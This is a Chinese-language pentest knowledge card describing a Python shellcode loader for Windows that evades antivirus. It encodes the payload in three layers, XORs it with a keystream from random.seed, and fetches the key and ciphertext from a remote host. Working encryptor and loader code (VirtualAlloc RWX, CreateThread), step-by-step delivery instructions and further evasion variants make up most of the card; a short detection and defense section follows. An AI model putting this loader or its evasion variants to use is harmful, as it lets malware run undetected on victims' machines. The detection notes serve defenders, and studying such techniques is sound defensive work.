♧ Godown 安全知识树

播种 PRNG 异或流 + base32/base16/hex 三层编码的 Shellcode 文本载荷:random.seed(key) 复现密钥流,点分十进制数组 + 远程取 key/载荷

pentest/c2 · verified

一句话结论

不引入加密库也能把 shellcode 变成无害文本:先用 base32 → base16 → hex() 三层编码得到纯 ASCII 的十六进制串,再以 6 位随机口令为种子 random.seed(key) 生成与明文等长的伪随机字节流做逐字符异或,把结果写成 n1.n2.n3.… 的点分十进制数组;loader 侧只需 random.seed(同一个 key) 重新播种、按 . 切分后 chr(int(x) ^ randint(0,255)) 还原,再反向解码三层,把 shellcode 与 key 分别放在远端文本里即可实现完全的外置载荷(远端换 key 就换一套密文)。

原理

  • 编码消除二进制特征:base32 把任意字节转成 A-Z2-7 字母表,base16 再转成 0-9A-F,hex() 变成纯十六进制字符串;磁盘上不存在原始 shellcode 的字节序列,也不存在 base64 常见的 +/= 组合,字符串长度膨胀但字符集极窄。
  • 播种 PRNG 产生可复现密钥流:random.seed(key) 后连续调用 random.randint(0,255) 得到的序列只由 key 决定(Mersenne Twister 确定性),与 key 等长无关——同一次 seed 之后每次调用都推进状态,所以“密钥流”长度不受 key 长度限制。加密时对每个字符调用一次 randint,解密时同样按顺序调用一次,流完全对齐。
  • 逐字符异或的可逆性:c = ord(p) ^ r,p = chr(c ^ r);同一 r 即可还原,因此加密/解密是两个对称循环,只要 key 与调用顺序一致就不会错位。
  • 点分十进制只是另一种文本化:把每个密文字符的整数值直接拼成 24.133.18.122.191.…,看起来像一串 IP 地址或配置数据;split('.') 后逐个 int() 即可恢复,不需要额外解码库。
  • 三层解码顺序必须严格逆序:加密是 base32 → base16 → hex → XOR;解密必须先 XOR 得到 hex 字符串,再 bytes.fromhex → base64.b16decode → base64.b32decode。顺序颠倒会得到乱码。
  • 为什么 key 短也够:6 位随机口令(数字+大小写字母,约 62^6 空间)本身熵不高,但这里的 key 只用于播种、不是逐字节密钥;真正保护载荷的是 MT 状态的不可预测性(对只做静态扫描的对手而言)。对会逆向 loader 的对手,key 就在脚本里,等于无保护——它的目标是规避静态特征而非密码学安全。
  • 外置载荷:把密文数组与 key 放在远端 shellcode.txt/key.txt,loader 只 urlopen 取回字符串 → 解密 → 执行;这样即使 loader 脚本落盘,也不含任何 shellcode 字节,且可随时换 key 换载荷。

触发条件

  • 目标为 Windows,攻击者需要投放 shellcode 并希望规避静态字节/字符串特征;loader 可用 Python(ctypes 可调 kernel32)运行或可打包成 exe。
  • 目标允许出网(远程取 key/载荷)或允许把载荷写进本地文件/资源;否则只能把数组内嵌进脚本。
  • 加密端与解密端的 key、遍历顺序、编码层数必须一致(这三项任一不一致即解不出)。
  • 目标安全产品主要依赖静态特征;内存执行行为(RWX/RX、线程)仍可能被 EDR 检出。

利用步骤

  1. 生成随机 key:从数字与大小写字母中随机选 6 位并打乱(原文 random_key(6))。
  2. 加密:base64.b32encode(shellcode) → base64.b16encode(...) → bytes.hex() 得到 hex 串;random.seed(key) 后对每个字符 ord(ch) ^ random.randint(0,255),结果拼成 str(...) + "." 形式并以点结尾去除。
  3. 交付:把密文数组写进 shellcode.txt、key 写进 key.txt,放到攻击者可控的 HTTP 服务(如自建 python -m http.server),或用本地文件/嵌入脚本。
  4. loader:random.seed(key) → code.split('.') → 逐段 chr(int(seg) ^ random.randint(0,255)) 拼回 hex 串 → bytes.fromhex(...) → b16decode → b32decode 得到 shellcode。
  5. 执行:VirtualAlloc(0, len, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) → RtlMoveMemory 写入 → CreateThread(0,0,ptr,0,0,0) → WaitForSingleObject(h, -1)。
  6. 授权测试用无害 shellcode(弹窗/打印)验证链完整;若被静态查杀,调整 key 长度、编码层数(再加一层 base85/自定义置换)或把数组换成 UUID/MAC 等其它文本表示。

PoC

加密端:

import base64, random, string

def encrypt(buf: bytes, key: str) -> str:
    s1 = base64.b32encode(buf)
    s2 = base64.b16encode(s1)
    s3 = s2.hex()                      # 纯十六进制文本
    random.seed(key)                   # 播种,后续 randint 序列确定
    out = []
    for ch in s3:
        out.append(str(ord(ch) ^ random.randint(0, 255)))
    return ".".join(out)

key = "".join(random.sample(string.digits + string.ascii_letters, 6))
print(key, encrypt(b"\xfc\x48\x83\xe4\xf0\xe8", key))
# 输出形如: key=B4s81a  shellcode=24.133.18.122.…

loader 端:

import base64, ctypes, random
from urllib.request import urlopen

def decrypt(code: str, key: str) -> bytes:
    random.seed(key)
    hexstr = "".join(chr(int(seg) ^ random.randint(0, 255))
                     for seg in code.split("."))
    return base64.b32decode(base64.b16decode(bytes.fromhex(hexstr)))

def runcode(sc: bytes) -> None:
    k32 = ctypes.windll.kernel32
    k32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = k32.VirtualAlloc(0, len(sc), 0x3000, 0x40)   # MEM_COMMIT|MEM_RESERVE, RWX
    k32.RtlMoveMemory(ctypes.c_uint64(ptr),
                      ctypes.create_string_buffer(sc), len(sc))
    h = k32.CreateThread(0, 0, ctypes.c_uint64(ptr), 0, 0, 0)
    k32.WaitForSingleObject(h, -1)

if __name__ == "__main__":
    key = urlopen("http://<host>/key.txt").read().decode()
    code = urlopen("http://<host>/shellcode.txt").read().decode()
    runcode(decrypt(code, key))

说明:原文的加密/解密循环、三层编码顺序、点分十进制分隔与远程 key.txt/shellcode.txt 取法均如此;RWX 直接申请为其原文写法(更隐蔽可改 RW→VirtualProtect RX)。本卡未执行。

变体与关联

  • 编码层变体:三层换成 base64 → zlib 压缩 → hex;或自定义字符表置换、按位取反、奇偶位重排;只要解密端逆序即可。
  • 密钥流变体:random 换成 numpy.random、os.urandom 派生、MT19937 之外的自定义 LCG;也可把 key 用作索引只在部分位置取流。
  • 交付变体:远端 key(一 payload 一 key,换 key 即时失效旧密文)、把 key 藏进文件名/EXIF/注释、把密文数组做成“配置项”嵌入白文件。
  • 执行变体:线程换纤程/APC/回调;先 RW 写入再 VirtualProtect RX;配合 API 哈希/PEB 解析隐藏敏感导入。
  • 关联:[[pentest-c2-python-oss-staged-loader-pickle-xor-shellcode]](同族的 Python 多阶段加载器:分列重组 base64 + pickle __reduce__ + 重复密钥 XOR)、[[pentest-c2-shellcode-mac-address-encoding-rtlethernet]](另一种文本化编码:MAC 地址)、[[pentest-c2-shellcode-uuid-encoding-uuidfromstring]](UUID 文本编码)、[[pentest-c2-shellcode-loader-aes-ipv4-uuid-entropy-obfuscation]](AES + IPv4/UUID 降熵的完整静态混淆框架)。
  • 边界:key 与 loader 同处一个脚本时对会逆向的对手无保护;静态规则若覆盖“点分十进制大数组 + random.seed + VirtualAlloc”组合即失效;RWX 申请与线程创建是 EDR 行为检测重点。

检测与防御

  • 检测:脚本/数据中出现长度极长、成员均为 0–255 的点分十进制字符串(24.133.18.122.…),尤其与 random.seed、chr(int(x) ^ …) 循环同现;脚本中出现 base64.b32decode+b16decode+bytes.fromhex 三层逆序调用;进程访问远端纯文本路径取 key 后立即 VirtualAlloc/CreateThread。
  • 检测:Python 解释器(尤其 pythonw.exe/打包 exe)申请 RWX 内存并创建线程;从文件/网络读入长文本后立即执行内存写入。
  • 防御:EDR 覆盖静态结构 + 内存行为;对“文本化大数组 + PRNG 播种 + 内存执行 API”组合加权;监控 RW→RX/RWX 与执行链;限制脚本解释器与打包 exe 在敏感主机运行(AppLocker/WDAC);对出网下载纯文本后立即执行的行为告警。
  • 响应:提取 loader 与密文数组、用 key 还原 shellcode 比对特征,封禁远端 key/payload 地址,排查同源投放主机。